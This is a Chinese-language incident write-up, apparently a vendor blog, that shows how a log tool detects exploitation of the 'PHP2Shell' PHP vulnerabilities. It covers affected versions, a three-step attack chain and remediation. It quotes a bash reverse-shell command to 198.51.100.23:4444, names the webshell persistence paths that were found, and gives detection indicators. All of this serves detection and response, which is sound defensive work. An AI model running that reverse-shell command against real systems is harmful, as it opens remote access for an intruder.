检测PHP2Shell很重要,因为从修补漏洞到实际被利用的时间窗口可能只有一天。PHP2Shell是PHP核心中两个未经认证的远程代码执行漏洞的名称,分别是CVE-2026-109618和CVE-2026-109619,均为CVSS v4.0评分9.2。不需要认证,因此任何在未修补版本上曝光的PHP应用都是目标。在下面的示例中,利用表现为PHP工作程序崩溃,随后命令以Web服务器用户身份运行。
本文涵盖了使用LogTotal(一种将事件匹配到已知威胁的日志分析工具)分析日志样本来检测PHP2Shell的问题。下面,我们解释漏洞的背景、日志的来源、LogTotal发现了什么以及如何响应。
PHP2Shell分析
两个PHP2Shell漏洞在CVSS v4.0下评分为9.2,且在任何PHP安装中,无需认证即可触发。正确读取日志样本有助于了解每个bug的工作原理、信息披露的速度以及哪些安装被曝光。
PHP2Shell漏洞详情
这两个CVE是PHP处理请求时的独立内存安全漏洞。每一个都允许攻击者以Web服务器用户的身份运行代码。
- CVE-2026-109618,内存耗尽腐败。 当PHP在请求设置过程中耗尽内存时,内部数据未能完全构建,清理代码随后信任这些数据。
- CVE-2026-109619,全局状态的停滞。 内部状态比其指向的请求内存存活更久,因此下一个请求同一工作程序接手时可能对残余数据进行操作。
这就是为什么利用表现为PHP“允许的内存大小…耗尽”错误和PHP工作程序崩溃的原因。公用PHP2Shell扫描器寻找相同的信号。
披露和利用时间轴
| 日期(2026年) | 事件 |
| 10月26日 | CISA将CVE-2026-109618添加到其KEV目录 |
| 10月22日 | 此样本记录的利用发生在web-prod-01 |
| 10月21日 | PHP发布了修补版;watchTowr观察到野外利用 |
| 10月20日 | 细节在原计划的10月22日披露前泄露于社交媒体;PHP宣布紧急发布 |
Calif的研究人员发现了这些漏洞并报告给PHP。泄漏发生在10月20日,这也是为什么LogTotal的链被命名为“泄露的关键PHP漏洞”。几天内,GitHub上已经出现了公共PoC代码和利用框架,并且一个研究工具包报告已验证的命令执行为www-data,从PHP 7.4到8.4之间的低于修补版的构建。
PHP2Shell影响哪些系统
PHP列出了8.5.12、8.4.27、8.3.36和8.2.35之前的每个版本都为易受攻击的,旧的分支也受到影响。
| PHP分支 | 受影响的 | Fix |
| 8.5.x | 低于8.5.12 | 8.5.12 |
| 8.4.x | 低于8.4.27 | 8.4.27 |
| 8.3.x | 低于8.3.36 | 8.3.36 |
| 8.2.x | 低于8.2.35 | 8.2.35 |
| 7.4, 8.0, 8.1 | 所有版本 | 没有官方发布;使用分发版或LTS提供商包,PHP的最小源代码backport,或者升级 |
| 7.3及更早版本,包括PHP 5 | 所有版本 | 没有修复;升级到支持的分支 |
每个提供Web请求服务的PHP安装都在范围内,无论它是在PHP-FPM、Apache mod_php、php-cgi、LiteSpeed或FrankenPHP下运行。PHP将风险级别最高评价为Apache mod_php,因为攻击可以在任何应用程序代码运行之前成功。
日志来源和收集
| 属性 | 值 |
| 文件 | PHP2Shell_sample.jsonl |
| 事件 | 6 |
| 主机 | web-prod-01(Linux生产Web服务器) |
| 时间窗口 | 2026年10月22日,11:31:30到11:31:33 UTC(三秒) |
| 模式 | ECS样式(@时间戳、事件、主机、进程、文件、用户) |
文件将两个来源混合到一个模式中:
- 2行纯文本 来自PHP运行时和PHP-FPM错误日志
- 4个事件 (文件和进程),标准化为ECS
这混合的内容典型地到达SIEM:应用程序错误日志与EDR遥测并行。
检测PHP2Shell
LogTotal在4.2秒内处理了6行内容,匹配了9条规则,针对4行并在web-prod-01上形成了一个链: PHP2Shell,泄露的关键PHP漏洞(CVE-2026-109618 & CVE-2026-109619),关键,100%匹配,触发了3条规则。
| 判定字段 | 结果 |
| 判定 | 可疑,需要调查 |
| 严重性 | 关键 |
| 置信度 | 中等 |
PHP2Shell链的展开方式
链条在三秒内按三个步骤跟踪了利用。
- 崩溃。 规则“可能的CVE-2026-109618 / CVE-2026-109619利用尝试 – PHP内存耗尽 / PHP工作程序崩溃”配对了一个PHP致命“允许内存大小…耗尽”错误和PHP-FPM子程序1201因SIGSEGV终止。这些是公用PHP2Shell扫描器寻找的相同崩溃信号。
- 来自Web工作程序的Shell。 “可能的PHP工作程序生成异常进程”和“通过Web服务器的可疑Shell[Linux]”抓住了以www-data身份运行的php-fpm生成的sh -c bash /dev/shm/.s。这脚本被放置在RAM支持的/dev/shm中。
- 反向Shell。 “可能的数据外泄/反向Shell通过Bash”匹配bash -i >& /dev/tcp/198.51.100.23/4444 0>& 1。链之外,另外四个规则命中相同的命令,其中以Linux反向Shell指示(关键)为首。
在PHP2Shell分类中使用LogTotal结果
此链在一个屏幕上显示事件的顺序和严重性。原始事件给出了要阻止的IOC和要删除的持久性。使用两个:确认链的三个步骤,然后审查文件事件和命令行以找到IOC和持久性。
PHP2Shell缓解措施
PHP2Shell的最终修复是固定的PHP发布,PHP声明没有配置更改能完全缓解这些漏洞。在已经被入侵的服务器上,修补是不够的:webshell和.user.ini在PHP升级后持续存在。
修补每个PHP安装
- 从面向互联网的系统以及以Apache模块运行PHP的系统开始,清点每个运行PHP的服务器和应用程序。
- 根据其分支将每个安装更新至8.5.12、8.4.27、8.3.36或8.2.35。Linux发行版在发布前收到补丁,因此请检查更新的分发包。
- 重启每个PHP工作程序以便修复生效。
- 对于PHP 7.4、8.0和8.1,使用分发版或LTS供应商包或PHP的最小源代码backport,或进行升级。PHP 7.3及更高版本没有修复。
- 限制对您无法立即更新的任何PHP系统的互联网访问。
社区跟踪器还报告了CVE-2026-115560,这是一个独立的、配置依赖的会话上传进度向量,被PHP的2026年10月23日信息通告涵盖。它不是PHP2Shell的一部分并留待以后发布;暂时推荐的措施是session.upload_progress.enabled = 0。
LogTotal推荐的响应
- 隔离web-prod-01。
- 保留其Web、系统和网络日志。
- 调查反向Shell的目的地。
- 验证PHP版本和修补版。
- 警报PHP工作程序未来的崩溃和Shell生成。
原始证据的附加步骤
- 阻塞出口 到198.51.100.23:4444。
- 在清理前保留证据: 复制uploads/.cache.php、.user.ini和/dev/shm/.s。/dev/shm中的文件在重新启动时丢失。
- 移除持久性。 删除auto_prepend_file指令,或者更好的是,在修补的PHP版本上重建主机。
- 旋转www-data可以读取的每一个秘密,如数据库凭证和应用程序配置中的API密钥。
- 搜寻web舰队 以寻找:
- .user.ini文件包含auto_prepend_file
- 上传文件夹中的隐藏PHP文件
- 由php-fpm、php-cgi、apache2或httpd生成的Shell
持续监控PHP2Shell
保持PHP和PHP-FPM错误日志与EDR遥测一起流向您的SIEM。在此示例中,崩溃行是第一个信号,EDR文件事件则包含了持久性。任何单一来源都只能告诉一半的故事。
FAQ
什么是PHP2Shell,它如何工作?
PHP2Shell是PHP核心中的两个未经认证的远程代码执行漏洞:CVE-2026-109618(内存耗尽腐败)和CVE-2026-109619(全局状态停滞),均为CVSS v4.0评分9.2。任何一个都允许攻击者以Web服务器用户身份运行代码。上面的分析部分解释了每一个工作原理。
PHP2Shell是什么时候首次发现的?
Calif的研究人员报告了这些漏洞给PHP。细节在2026年10月20日泄露,PHP在10月21日也就计划披露提前一天发布了修复版本。
哪些PHP版本受到PHP2Shell的影响?
每个8.5.12、8.4.27、8.3.36和8.2.35之前的版本,加上所有的PHP 7.4、8.0、8.1和更旧的分支,包括PHP 5。任何提供Web请求服务的PHP安装都在范围内,Apache mod_php风险最高。
PHP2Shell对系统的影响是什么?
未经认证的攻击者可以以Web服务器用户身份运行代码。在本示例中,这导致了一个反向Shell至198.51.100.23:4444以及每个通过.user.ini获取的PHP请求上的隐藏Webshell。任何www-data可读取的秘密应该被视为已暴露。
2026年PHP2Shell还能影响我吗?
是的。PHP2Shell被野外利用并在CISA的KEV目录中列出。未经补丁的服务器、没有backport的生命周期结束分支以及其Webshell持久性从未移除的已被攻击的服务器都仍然面临风险。
我如何保护自己免受PHP2Shell的攻击?
升级到已修复的PHP版本并重启每个PHP工作程序;没有配置更改能完全缓解PHP2Shell。然后限制Web服务器出口,旋转Web用户可读取的秘密,并检查上传文件夹和.user.ini文件是否有持久性。缓解部分列出了完整步骤。
我如何检测PHP2Shell?
收集PHP和PHP-FPM错误日志以及EDR进程和文件事件。警报PHP内存耗尽和工作程序崩溃、由php-fpm、php-cgi、apache2或httpd生成的Shell及带有auto_prepend_file的新.user.ini文件。通过LogTotal运行导出将这些事件映射到PHP2Shell链,并在一个视图中显示攻击顺序。